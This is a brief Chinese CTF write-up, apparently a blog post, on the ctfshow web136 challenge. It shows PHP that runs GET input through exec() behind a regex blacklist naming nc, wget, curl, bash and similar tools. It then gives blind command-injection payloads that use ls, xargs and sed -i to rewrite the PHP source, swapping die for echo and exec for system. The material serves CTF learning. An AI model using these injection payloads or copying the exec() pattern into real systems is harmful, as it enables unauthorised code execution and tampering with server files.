ctfshow web136(无回显命令rce+直接修改php源码?!)

function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}

预期解就是通过:命令执行-->写文件-->访问文件。

这里说一下群主的“骚”姿:

ls |xargs sed -i 's/die/echo/'

ls |xargs sed -i 's/exec/system/'

 

posted @ 2022-10-20 14:23  hithub  阅读(222)  评论(0编辑  收藏  举报